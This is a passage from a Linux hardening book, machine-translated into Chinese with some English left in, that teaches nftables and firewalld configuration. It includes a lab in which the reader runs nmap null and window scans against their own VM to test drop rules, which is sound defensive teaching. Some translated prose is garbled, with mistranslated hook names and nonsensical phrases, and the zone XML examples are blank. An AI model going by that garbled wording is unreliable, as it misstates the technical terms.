`nftables_example_1.conf` file. - -现在,让我们加载新规则: - -```sh -sudo systemctl reload nftables -``` - -另一个需要注意的很酷的事情是,我们如何在同一个配置文件中混合了 IPv4 (ip)规则和 IPv6 (ip6)规则。另外,除非我们另外指定,否则我们创建的所有规则都将适用于 IPv4 和 IPv6。这就是使用 inet 型桌子的好处。为了简单和灵活,您将希望尽可能多地使用 inet 表,而不是单独的 IPv4 和 IPv6 表。 - -很多时候,当你所需要的只是一个简单的主机防火墙时,你最好的选择就是用这个`nftables.conf`文件作为你的起点,编辑这个文件以适合你自己的需要。然而,还有一个命令行组件,您可能会发现它很有用。 - -# 使用 nft 命令 - -我更喜欢的使用 nftables 的方法是从一个模板开始,按照我的喜好手工编辑它,就像我们在上一节中所做的那样。但是对于那些宁愿从命令行做所有事情的人来说,有 nft 实用程序。 - -Even if you know that you'll always create firewalls by hand-editing `nftables.conf`, there are still a couple of practical reasons to know about the nft utility.  - -Let's say that you've observed an attack in progress, and you need to stop it quickly without bringing down the system. With an `nft` command, you can create a custom rule on the fly that will block the attack. Creating nftables rules on the fly also allows you to test the firewall as you configure it, before making any permanent changes. - -And if you decide to take a Linux security certification exam, you might see questions about it. (I happen to know.) - -有两种方法可以使用 nft 实用程序。首先,您可以直接从 Bash shell 中做任何事情,用`nft`开始您想要执行的每个动作,然后是`nft`子命令。另一种方法是在交互模式下使用 nft。就我们目前的目的而言,我们将只使用 Bash shell。 - -首先,让我们删除之前的配置,创建一个`inet`表,因为我们想要同时适用于 IPv4 和 IPv6 的东西。我们想给它起一个有点描述性的名字,所以我们称它为`ubuntu_filter`: - -```sh -sudo nft delete table inet filter -sudo nft list tables -sudo nft add table inet ubuntu_filter -sudo nft list tables -``` - -接下来,我们将向刚刚创建的表中添加一个输入过滤器链(注意,由于我们是从 Bash shell 中完成的,因此我们需要用反斜杠对分号进行转义): - -```sh -sudo nft add chain inet ubuntu_filter input { type filter hook input priority 0\; policy drop\; } -``` - -我们本可以给它起一个更具描述性的名字,但现在,`input`起作用了。在这一对花括号中,我们设置了这个链的参数。 - -每个 nftables 协议族都有自己的一组钩子,这些钩子定义了如何处理数据包。目前,我们只关注 ip/ip6/inet 系列,它们有以下挂钩: - -* 预路由 -* 投入 -* 向前 -* 输出 -* 后路由 - -其中,我们只关注输入和输出挂钩,这适用于过滤器类型的链。通过为我们的输入链指定一个钩子和一个优先级,我们说我们希望这个链是一个基本链,它将直接接受来自网络堆栈的数据包。您还会看到,某些参数必须以分号结束,如果您从 Bash shell 运行命令,则需要用反斜杠进行转义。最后,我们指定一个默认策略`drop`。如果我们没有指定`drop`作为默认策略,那么默认情况下该策略应该是`accept`。 - -Every nft command that you enter takes effect immediately. So, if you're doing this remotely, you'll drop your Secure Shell connection as soon as you create a filter chain with a default `drop` policy. - -Some people like to create chains with a default `accept` policy, and then add a `drop` rule as the final rule. Other people like to create chains with a default `drop` policy, and then leave off the `drop` rule at the end. Be sure to check your local procedures to see what your organization prefers. - -验证链是否已添加。你应该看到这样的东西: - -```sh -donnie@ubuntu2:~$ sudo nft list table inet ubuntu_filter - [sudo] password for donnie: - table inet filter { - chain input { - type filter hook input priority 0; policy drop; - } - } - donnie@ubuntu2:~$ -``` - -那太好了,但是我们仍然需要一些规则。让我们从连接跟踪规则和打开安全外壳端口的规则开始。然后,我们将验证它们是否已添加: - -```sh -sudo nft add rule inet ubuntu_filter input ct state established accept -sudo nft add rule inet ubuntu_filter input tcp dport 22 ct state new accept - - donnie@ubuntu2:~$ sudo nft list table inet ubuntu_filter - table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - ct state established accept - tcp dport ssh ct state new accept - } - } - donnie@ubuntu2:~ -``` - -好吧,看起来不错。您现在有了一个允许安全外壳连接的基本工作防火墙。除此之外,正如我们在[第 3 章](03.html)、*中所做的那样,用防火墙保护您的服务器-第 1 部分*,我们忘记创建一个规则来允许环回适配器接受数据包。由于我们希望此规则位于规则列表的顶部,因此我们将使用`insert`代替`add`: - -```sh -sudo nft insert rule inet ubuntu_filter input iif lo accept - -donnie@ubuntu2:~$ sudo nft list table inet ubuntu_filter - table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - iif lo accept - ct state established accept - tcp dport ssh ct state new accept - } - } - donnie@ubuntu2:~$ -``` - -现在,我们都准备好了。但是如果我们想在特定的位置插入一个规则呢?为此,您需要使用带有`-a`选项的列表来查看规则句柄: - -```sh -donnie@ubuntu2:~$ sudo nft list table inet ubuntu_filter -a - table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - iif lo accept # handle 4 - ct state established accept # handle 2 - tcp dport ssh ct state new accept # handle 3 - } - } - donnie@ubuntu2:~$ -``` - -如你所见,手柄的编号方式没有真正的韵律或原因。假设我们想插入阻止某些 IP 地址访问安全外壳端口的规则。我们可以看到 SSH `accept`规则是`handle 3`,所以我们需要在它之前插入我们的`drop`规则。该命令如下所示: - -```sh -sudo nft insert rule inet ubuntu_filter input position 3 tcp dport 22 ip saddr { 192.168.0.7, 192.168.0.10 } drop - -donnie@ubuntu2:~$ sudo nft list table inet ubuntu_filter -a - table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - iif lo accept # handle 4 - ct state established accept # handle 2 - tcp dport ssh ip saddr { 192.168.0.10, 192.168.0.7} drop # handle 6 - tcp dport ssh ct state new accept # handle 3 - } - } - donnie@ubuntu2:~$ -``` - -因此,要将规则放在带有`handle 3`标签的规则之前,我们必须将其插入`3`位置。我们刚刚插入的新规则有标签`handle 6`。要删除规则,我们必须指定规则的句柄号: - -```sh -sudo nft delete rule inet ubuntu_filter input handle 6 - -donnie@ubuntu2:~$ sudo nft list table inet ubuntu_filter -a - table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - iif lo accept # handle 4 - ct state established accept # handle 2 - tcp dport ssh ct state new accept # handle 3 - } - } - donnie@ubuntu2:~$ -``` - -与 iptables 的情况一样,一旦重新启动机器,您从命令行所做的一切都将消失。为了使其永久化,让我们将`list`子命令的输出重定向到`nftables.conf`配置文件(当然,我们希望已经存在的文件有一个备份副本,以防我们想要恢复到它): - -```sh -sudo sh -c "nft list table inet ubuntu_filter > /etc/nftables.conf" -``` - -由于 Bash shell 中的一个怪癖,我们不能以正常的方式将输出重定向到`/etc`目录中的一个文件,即使当我们使用`sudo`时也是如此。这就是为什么我必须添加`sh -c`命令,用双引号将`nft list`命令括起来。此外,请注意,该文件必须命名为`nftables.conf`,因为这是 nftables systemd 服务要寻找的。现在,当我们查看文件时,我们会发现缺少了一些东西: - -```sh -table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - iif lo accept - ct state established accept - tcp dport ssh ct state new accept - } -} -``` - -你们中那些眼尖的人会发现我们错过了`flush`规则和 shebang 线来指定我们想要解释这个脚本的外壳。让我们添加它们: - -```sh -#!/usr/sbin/nft -f -flush ruleset -table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - iif lo accept - ct state established accept - tcp dport ssh ct state new accept - } -} -``` - -好多了。让我们通过加载新配置并观察`list`输出来测试这一点: - -```sh -sudo systemctl reload nftables - -donnie@ubuntu2:~$ sudo nft list table inet ubuntu_filter - table inet ubuntu_filter { - chain input { - type filter hook input priority 0; policy drop; - iif lo accept - ct state established accept - tcp dport ssh ct state new accept - } - } - donnie@ubuntu2:~$ -``` - -这就是创建您自己的简单主机防火墙的全部内容。当然,从命令行运行命令,而不仅仅是在文本编辑器中创建脚本文件,确实有助于更多的输入。但是,它确实允许您在创建规则时动态测试规则。以这种方式创建您的配置,然后将`list`输出重定向到您的新配置文件,可以减轻您在尝试手工编辑文件时必须跟踪所有这些花括号的负担。 - -也可以将我们刚刚创建的所有`nft`命令放入一个常规的、老式的 Bash shell 脚本中。不过,相信我,你真的不想那么做。就像我们在这里所做的那样,只需使用 nft 原生脚本格式,您将拥有一个性能更好、可读性更强的脚本。 - -# Ubuntu 上 nftables 的实践实验室 - -在本实验中,您将需要您的 Ubuntu 18.04 虚拟机的干净快照: - -1. 将您的 Ubuntu 虚拟机恢复到干净的快照,以清除您之前创建的任何防火墙配置。(或者,如果您愿意,从新的虚拟机开始。)禁用`ufw`并验证不存在防火墙规则: - -```sh -sudo systemctl disable --now ufw -sudo iptables -L -``` - -您应该不会看到 iptables 的规则列表。 - -2. 安装 nftables 包: - -```sh -sudo apt install nftables -``` - -3. 将`workstation`模板复制到`/etc`目录,并将其重命名为`nftables.conf`: - -```sh -sudo cp /usr/share/doc/nftables/examples/syntax/workstation /etc/nftables.conf -``` - -4. 编辑`/etc/nftables.conf`文件,创建新的配置。(请注意,由于格式限制,我不得不将它分成三个不同的代码块。)使文件的顶部看起来像这样: - -```sh -#!/usr/sbin/nft -f flush ruleset -table inet filter { - chain prerouting { - type filter hook prerouting priority 0; - ct state invalid counter log prefix "Invalid Packets: " drop - - tcp flags & (fin|syn|rst|ack) != syn ct state new counter log prefix "Invalid Packets 2: " drop - } -``` - -5. 使文件的第二部分如下所示: - -```sh - -chain input { - type filter hook input priority 0; - # accept any localhost traffic - iif lo accept - # accept traffic originated from us - ct state established,related accept - # activate the following line to accept common local services - tcp dport 22 ip saddr { 192.168.0.7, 192.168.0.10 } log prefix "Blocked SSH packets: " drop - - tcp dport { 22, 53 } ct state new accept - udp dport 53 ct state new accept - ct state new,related,established icmp type { destination-unreachable, time-exceeded, parameter-problem } accept -``` - -6. 使文件的最后部分看起来像这样: - -```sh -ct state new,related,established icmpv6 type { destination-unreachable, time-exceeded, parameter-problem } accept - - # accept neighbour discovery otherwise IPv6 connectivity breaks. - ip6 nexthdr icmpv6 icmpv6 type { nd-neighbor-solicit, nd-router-advert, nd-neighbor-advert } accept - - # count and drop any other traffic - counter log prefix "Dropped packet: " drop - } -} -``` - -7. 保存文件并重新加载 nftables: - -```sh -sudo systemctl reload nftables -``` - -8. 查看结果: - -```sh -sudo nft list tables -sudo nft list tables -sudo nft list table inet filter -sudo nft list ruleset -``` - -9. 从您的主机或另一个虚拟机,对 Ubuntu 虚拟机执行窗口扫描: - -```sh -sudo nmap -sW ip_address_of_UbuntuVM -``` - -10. 查看数据包计数器,查看触发了哪个阻止规则(提示:它在预路由链中): - -```sh -sudo nft list ruleset -``` - -11. 这一次,对虚拟机进行空扫描: - -```sh -sudo nmap -sN ip_address_of_UbuntuVM -``` - -12. 最后,看看这次触发了哪个规则(提示:这是预路由链中的另一个规则): - -```sh -sudo nft list ruleset -``` - -13. 在`/var/log/kern.log`文件中,搜索`Invalid Packets`文本字符串,查看关于丢弃的无效数据包的消息。 - -本实验到此结束–祝贺您! - -在这一节中,我们研究了 nftables 的来龙去脉,并研究了如何配置它来帮助防止某些类型的攻击。接下来,我们将把注意力转向 firewalld 的奥秘。 - -# 红帽系统的防火墙 - -到目前为止,我们已经看到了 iptables 和 ufw,iptables 是一个通用的防火墙管理系统,可以在所有 Linux 发行版上使用,ufw 可以在 Debian/Ubuntu 类型的系统上使用。接下来,我们将注意力转向 firewalld,它是红帽企业版 Linux 7/8 及其所有后代上的默认防火墙管理器。 - -但是事情变得有些混乱。在 RHEL/CentOS 7 上,防火墙的实现方式与在 RHEL/CentOS 8 上不同。这是因为,在 RHEL/CentOS 7 上,firewalld 使用 iptables 引擎作为后端。在 RHEL/CentOS 8 上,firewalld 使用 nftables 作为后端。无论哪种方式,您都不能用普通的 iptables 或 nftables 命令创建规则,因为 firewalld 以不兼容的格式存储规则。 - -Until very recently, firewalld was only available for RHEL 7/8 and their offspring. Now, however, firewalld is also available in the Ubuntu repositories. So, if you want to run firewalld on Ubuntu, you finally have that choice. - -如果你在台式机上运行红帽或 CentOS,你会看到在应用菜单中有一个用于 firewalld 的 GUI 前端。然而,在文本模式服务器上,你所拥有的只是 firewalld 命令。出于某种原因,红帽族并没有像在旧版红帽上为 iptables 配置那样,为文本模式服务器创建一个 ncurses 类型的程序。 - -firewalld 的一大优势是它是动态管理的。这意味着您可以更改防火墙配置,而无需重新启动防火墙服务,也无需中断与服务器的任何现有连接。 - -在我们了解 RHEL/CentOS 7 和 RHEL/CentOS 8 firewalld 版本之间的差异之前,让我们先来看看两者的相同之处。 - -# 验证防火墙的状态 - -让我们从验证 firewalld 的状态开始。有两种方法可以做到这一点。对于第一种方式,我们可以使用`firewall-cmd`的`--state`选项: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --state - running - [donnie@localhost ~]$ -``` - -或者,如果我们想要更详细的状态,我们可以只检查守护程序,就像我们检查 systemd 机器上的任何其他守护程序一样: - -```sh -[donnie@localhost ~]$ sudo systemctl status firewalld - firewalld.service - firewalld - dynamic firewall daemon - Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; - vendor preset: enabled) - Active: active (running) since Fri 2017-10-13 13:42:54 EDT; 1h 56min ago - Docs: man:firewalld(1) - Main PID: 631 (firewalld) - CGroup: /system.slice/firewalld.service - └─631 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid -. . . - Oct 13 15:19:41 localhost.localdomain firewalld[631]: WARNING: reject- - route: INVALID_ICMPTYPE: No supported ICMP type., ignoring for run-time. - [donnie@localhost ~]$ -``` - -接下来,让我们看看防火墙区域。 - -# 使用防火墙区域 - -Firewalld 是一种相当独特的动物,因为它带有几个预配置的区域和服务。如果你查看你的 CentOS 机器的`/usr/lib/firewalld/zones`目录,你会看到分区文件,都是`.xml`格式的: - -```sh -[donnie@localhost ~]$ cd /usr/lib/firewalld/zones - [donnie@localhost zones]$ ls - block.xml dmz.xml drop.xml external.xml home.xml internal.xml public.xml - trusted.xml work.xml - [donnie@localhost zones]$ -``` - -每个区域文件指定在各种给定情况下哪些端口是开放的,哪些端口是阻塞的。区域还可以包含 ICMP 消息规则、转发端口、伪装信息和丰富的语言规则。 - -例如,设置为默认的公共区域的`.xml`文件如下所示: - -```sh - - - Public - For use in public areas. You do not trust the other -computers on networks to not harm your computer. Only selected incoming -connections are accepted. - - - -``` - -在`service name`行中,您可以看到唯一开放的端口用于安全外壳访问和 DHCPv6 发现。如果您查看`home.xml`文件,您会看到它还打开了多播域名系统的端口,以及允许这台机器从 Samba 服务器或窗口服务器访问共享目录的端口: - -```sh - - - Home - For use in home areas. You mostly trust the other computers -on networks to not harm your computer. Only selected incoming connections -are accepted. - - - - - -``` - -`firewall-cmd`实用程序是您用来配置防火墙的工具。您可以使用它来查看系统上的区域文件列表,而不必将`cd`放入区域文件目录: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --get-zones - [sudo] password for donnie: - block dmz drop external home internal public trusted work - [donnie@localhost ~]$ -``` - -查看每个区域如何配置的快速方法是使用`--list-all-zones`选项: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --list-all-zones - block - target: %%REJECT%% - icmp-block-inversion: no - interfaces: - sources: - services: - ports: - protocols: - masquerade: no - forward-ports: -. . . -. . . - -``` - -当然,这只是输出的一部分,因为所有区域的列表都超出了我们的显示范围。您可能只想查看一个特定区域的信息: - -```sh - [donnie@localhost ~]$ sudo firewall-cmd --info-zone=internal - internal - target: default - icmp-block-inversion: no - interfaces: - sources: - services: ssh mdns samba-client dhcpv6-client - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: - [donnie@localhost ~]$ -``` - -因此,`internal`区允许`ssh`、`mdns`、`samba-client`和`dhcpv6-client`服务。这对于在内部局域网上设置客户端机器非常方便。 - -任何给定的服务器或客户端都将安装一个或多个网络接口适配器。一台机器中的每个适配器可以被分配一个并且只有一个防火墙区域。要查看默认区域,请使用以下代码: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --get-default-zone - public - [donnie@localhost ~]$ -``` - -这很好,只是它没有告诉你哪个网络接口与这个区域相关联。要查看该信息,请使用以下代码: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --get-active-zones - public - interfaces: enp0s3 - [donnie@localhost ~]$ -``` - -当您第一次安装红帽或 CentOS 时,防火墙已经处于活动状态,公共区域作为默认区域。现在,假设您正在非军事区设置您的服务器,并且您希望确保它的防火墙为此被锁定。您可以将默认区域更改为`dmz`区域。让我们看看`dmz.xml`文件,看看这对我们有什么帮助: - -```sh - - - DMZ - For computers in your demilitarized zone that are publicly- -accessible with limited access to your internal network. Only selected -incoming connections are accepted. - - -``` - -因此,非军事区唯一允许通过的是安全壳。好吧。现在已经足够好了,所以让我们将`dmz`区域设置为默认值: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --set-default-zone=dmz - [sudo] password for donnie: - success -[donnie@localhost ~]$ -``` - -让我们验证一下: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --get-default-zone - dmz -[donnie@localhost ~]$ -``` - -我们都很好。然而,非军事区中面向互联网的服务器可能需要允许的不仅仅是 SSH 连接。这是我们使用防火墙服务的地方。但是在我们看之前,让我们考虑一个更重要的点。 - -您永远不想修改`/usr/lib/firewalld`目录中的文件。每当您修改 firewalld 配置时,您会看到修改后的文件显示在`/etc/firewalld`目录中。到目前为止,我们只修改了默认区域。因此,我们将在`/etc/firewalld`看到以下内容: - -```sh -[donnie@localhost ~]$ sudo ls -l /etc/firewalld - total 12 - -rw-------. 1 root root 2003 Oct 11 17:37 firewalld.conf - -rw-r--r--. 1 root root 2006 Aug 4 17:14 firewalld.conf.old - . . . -``` - -我们可以对这两个文件做一个`diff`来看看它们之间的区别: - -```sh -[donnie@localhost ~]$ sudo diff /etc/firewalld/firewalld.conf /etc/firewalld/firewalld.conf.old - 6c6 - < DefaultZone=dmz - --- - > DefaultZone=public - [donnie@localhost ~]$ -``` - -因此,两个文件中较新的一个显示 dmz 区域现在是默认的。 - -To find out more about firewalld zones, enter the `man firewalld.zones` command. - -# 向防火墙区域添加服务 - -每个服务文件都包含需要为特定服务打开的端口列表。可选地,服务文件可以包含一个或多个目的地地址,或者调用任何需要的模块,例如用于连接跟踪。对于某些服务,您只需要打开一个端口。其他服务,如 Samba 服务,需要打开多个端口。无论哪种方式,有时记住每个服务的服务名比记住端口号更方便。 - -服务文件在`/usr/lib/firewalld/services`目录中。您可以使用`firewall-cmd`命令查看它们,就像您可以查看区域列表一样: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --get-services - RH-Satellite-6 amanda-client amanda-k5-client bacula bacula-client bitcoin bitcoin-rpc bitcoin-testnet bitcoin-testnet-rpc ceph ceph-mon cfengine condor-collector ctdb dhcp dhcpv6 dhcpv6-client dns docker-registry dropbox-lansync elasticsearch freeipa-ldap freeipa-ldaps freeipa-replication freeipa-trust ftp ganglia-client ganglia-master high-availability http https imap imaps ipp ipp-client ipsec iscsi-target kadmin kerberos kibana klogin kpasswd kshell ldap ldaps libvirt libvirt-tls managesieve mdns mosh mountd ms-wbt mssql mysql nfs nrpe ntp openvpn ovirt-imageio ovirt-storageconsole ovirt-vmconsole pmcd pmproxy pmwebapi pmwebapis pop3 pop3s postgresql privoxy proxy-dhcp ptp pulseaudio puppetmaster quassel radius rpc-bind rsh rsyncd samba samba-client sane sip sips smtp smtp-submission smtps snmp snmptrap spideroak-lansync squid ssh synergy syslog syslog-tls telnet tftp tftp-client tinc tor-socks transmission-client vdsm vnc-server wbem-https xmpp-bosh xmpp-client xmpp-local xmpp-server - [donnie@localhost ~]$ - -``` - -在添加更多服务之前,让我们检查哪些服务已经启用: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --list-services -[sudo] password for donnie: -ssh dhcpv6-client -[donnie@localhost ~]$ -``` - -这里,ssh 和 dhcpv6-client 是我们的全部。 - -`dropbox-lansync`服务对我们 Dropbox 用户来说非常方便。让我们看看这会打开哪些端口: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-service=dropbox-lansync - [sudo] password for donnie: - dropbox-lansync - ports: 17500/udp 17500/tcp - protocols: - source-ports: - modules: - destination: - [donnie@localhost ~]$ -``` - -看起来 Dropbox 在 UDP 和 TCP 上使用了端口`17500`。 - -现在,假设我们在非军事区设置了网络服务器,将`dmz`区域设置为默认区域: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=dmz - dmz (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: ssh - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: - [donnie@localhost ~]$ -``` - -正如我们之前看到的,安全外壳端口是唯一打开的端口。让我们解决这个问题,以便用户可以真正访问我们的网站: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --add-service=http - success -[donnie@localhost ~]$ -``` - -当我们再次查看`dmz`区域的信息时,我们将看到以下内容: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=dmz - dmz (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: ssh http - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: -[donnie@localhost ~]$ -``` - -在这里,我们可以看到`http`服务现在被允许通过。但是看看当我们将`--permanent`选项添加到这个`info`命令时会发生什么: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --permanent --info-zone=dmz - dmz - target: default - icmp-block-inversion: no - interfaces: - sources: - services: ssh - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: - [donnie@localhost ~]$ -``` - -哎呀!`http`服务不在这里。这是怎么回事? - -对于区域或服务的几乎每一个命令行变更,您需要添加`--permanent`选项,以使变更在重新启动后保持不变。但是如果没有`--permanent`选项,更改会立即生效。使用`--permanent`选项,您必须重新加载防火墙配置,更改才会生效。为了演示这一点,我将重新启动虚拟机以摆脱`http`服务。 -好的;我重新启动了`http`服务,现在它已经不存在了: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=dmz - dmz (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: ssh - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: - [donnie@localhost ~]$ -``` - -这一次,我将用一个命令添加两个服务,并指定更改将是永久性的: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --permanent --add-service={http,https} - [sudo] password for donnie: - success -[donnie@localhost ~]$ -``` - -您可以用一个命令添加任意多的服务,但是您必须用逗号分隔它们,并用一对花括号将整个列表括起来。此外,与我们刚才看到的 nftables 不同,我们不能在花括号内有空格。让我们看看结果: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=dmz - dmz (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: ssh - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: - [donnie@localhost ~]$ -``` - -自从我们决定将这种配置永久化后,它还没有生效。但是,如果我们将`--permanent`选项添加到`--info-zone`命令中,我们会看到配置文件确实已经更改: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --permanent --info-zone=dmz - dmz - target: default - icmp-block-inversion: no - interfaces: - sources: - services: ssh http https - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: - [donnie@localhost ~]$ -``` - -现在,我们需要重新加载配置以使其生效: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --reload - success - [donnie@localhost ~]$ -``` - -现在,如果您再次运行`sudo firewall-cmd --info-zone=dmz`命令,您将看到新配置生效。 - -要从区域中删除服务,只需将`--add-service`替换为`--remove-service`。 - -Note that we never specified which zone we're working with in any of these service commands. That's because if we don't specify a zone, firewalld just assumes that we're working with the default zone. If you want to add a service to something other than the default zone, just add the `--zone=` option to your commands. - -# 向防火墙区域添加端口 - -拥有服务文件很方便,除了不是每个需要运行的服务都有自己的预定义服务文件。假设您已经在服务器上安装了 Webmin,这需要打开端口`10000/tcp`。快速 grep 操作将显示端口`10000`不在我们任何预定义的服务中: - -```sh -donnie@localhost services]$ pwd - /usr/lib/firewalld/services -[donnie@localhost services]$ grep '10000' * -[donnie@localhost services]$ -``` - -因此,让我们将该端口添加到我们的默认区域,它仍然是 dmz 区域: - -```sh -donnie@localhost ~]$ sudo firewall-cmd --add-port=10000/tcp - [sudo] password for donnie: - success -[donnie@localhost ~]$ -``` - -同样,这不是永久性的,因为我们没有包括`--permanent`选项。让我们再次这样做并重新加载: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --permanent --add-port=10000/tcp - success - [donnie@localhost ~]$ sudo firewall-cmd --reload - success - [donnie@localhost ~]$ -``` - -您还可以通过将逗号分隔的列表包含在一对花括号中来一次添加多个端口,就像我们对服务所做的那样(我特意省略了`--permanent`-稍后您会看到原因): - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --add-port={636/tcp,637/tcp,638/udp} - success -[donnie@localhost ~]$ -``` - -当然,你可以用`--remove-port`代替`--add-port`来删除一个区域的端口。 - -如果不想每次创建新的永久规则时都键入`--permanent`,那就不要输入。然后,当您创建完规则后,通过键入以下内容,一次性将它们全部永久化: - -```sh -sudo firewall-cmd --runtime-to-permanent -``` - -现在,让我们把注意力转向控制 ICMP。 - -# 阻塞 ICMP - -让我们再来看看默认公共区域的状态: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=public -public (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: ssh dhcpv6-client - ports: 53/tcp 53/udp - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: -[donnie@localhost ~]$ -``` - -向着底部,我们可以看到`icmp-block`线,旁边什么都没有。这意味着我们的公共区域允许所有 ICMP 数据包通过。当然,这并不理想,因为我们想要阻止某些类型的 ICMP 数据包。在我们阻止任何事情之前,让我们看看所有可用的 ICMP 类型: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --get-icmptypes -[sudo] password for donnie: -address-unreachable bad-header communication-prohibited destination-unreachable echo-reply echo-request fragmentation-needed host-precedence-violation host-prohibited host-redirect host-unknown host-unreachable ip-header-bad neighbour-advertisement neighbour-solicitation network-prohibited network-redirect network-unknown network-unreachable no-route packet-too-big parameter-problem port-unreachable precedence-cutoff protocol-unreachable redirect required-option-missing router-advertisement router-solicitation source-quench source-route-failed time-exceeded timestamp-reply timestamp-request tos-host-redirect tos-host-unreachable tos-network-redirect tos-network-unreachable ttl-zero-during-reassembly ttl-zero-during-transit unknown-header-type unknown-option -[donnie@localhost ~]$ -``` - -正如我们对区域和服务所做的那样,我们可以查看关于不同 ICMP 类型的信息。在本例中,我们将查看一种 ICMPv4 类型和一种 ICMPv6 类型: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-icmptype=network-redirectnetwork-redirect destination: ipv4 - -[donnie@localhost ~]$ sudo firewall-cmd --info-icmptype=neighbour-advertisementneighbour-advertisement -destination: ipv6 - -[donnie@localhost ~]$ -``` - -我们已经看到,我们没有阻止任何 ICMP 数据包。我们还可以看到我们是否阻止了任何特定的 ICMP 数据包: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --query-icmp-block=host-redirect -no -[donnie@localhost ~]$ -``` - -我们已经确定重定向可能是一件坏事,因为它们可能被利用。因此,让我们阻止主机重定向数据包: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --add-icmp-block=host-redirect -success -[donnie@localhost ~]$ sudo firewall-cmd --query-icmp-block=host-redirect -yes -[donnie@localhost ~]$ -``` - -现在,让我们检查一下状态: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=public -public (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: ssh dhcpv6-client - ports: 53/tcp 53/udp - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: host-redirect - rich rules: -[donnie@localhost ~]$ -``` - -太酷了——成功了。现在,让我们看看是否可以用一个命令阻止两种 ICMP 类型: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --add-icmp-block={host-redirect,network-redirect} -success -[donnie@localhost ~]$ -``` - -和以前一样,我们将检查状态: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --info-zone=public -public (active) - target: default - icmp-block-inversion: no - interfaces: enp0s3 - sources: - services: cockpit dhcpv6-client ssh - ports: - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: host-redirect network-redirect - rich rules: -[donnie@localhost ~]$ -``` - -这也奏效了,这意味着我们取得了冷静。然而,由于我们没有将`--permanent`包含在这些命令中,这些 ICMP 类型只会被阻止,直到我们重新启动计算机。所以,让我们把它们永久化: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --runtime-to-permanent -[sudo] password for donnie: -success -[donnie@localhost ~]$ -``` - -有了这些,我们变得更加冷静。(当然,我所有的猫都已经觉得我很酷了。) - -# 使用紧急模式 - -你刚刚看到了坏人试图闯入你系统的证据。你是做什么的?嗯,一个选择是激活`panic`模式,切断所有网络通讯。 - -I can just see this now in the Saturday morning cartoons when some cartoon character yells, *Panic mode, activate!* - -要使用`panic`模式,请使用以下命令: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --panic-on -[sudo] password for donnie: -success -[donnie@localhost ~]$ -``` - -当然,如果您远程登录,您的访问将被切断,您必须到本地终端才能重新登录。要关闭`panic`模式,请使用以下命令: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --panic-off -[sudo] password for donnie: -success -[donnie@localhost ~]$ -``` - -如果是远程登录,不需要检查`panic`模式的状态。如果开着,你就不能进入机器。但是如果你坐在本地控制台前,你可能需要检查一下。只需使用以下代码: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --query-panic -[sudo] password for donnie: -no -[donnie@localhost ~]$ -``` - -这就是`panic`模式的全部内容。 - -# 记录丢弃的数据包 - -这是另一个你肯定会喜欢的省时方法。如果您想在数据包被阻止时创建日志条目,只需使用`--set-log-denied`选项。在此之前,让我们看看它是否已经启用: - -```sh -[donnie@localhost ~]$ sudo firewall-cmd --get-log-denied -[sudo] password for donnie: -off -[donnie@localhost ~]$ -``` - 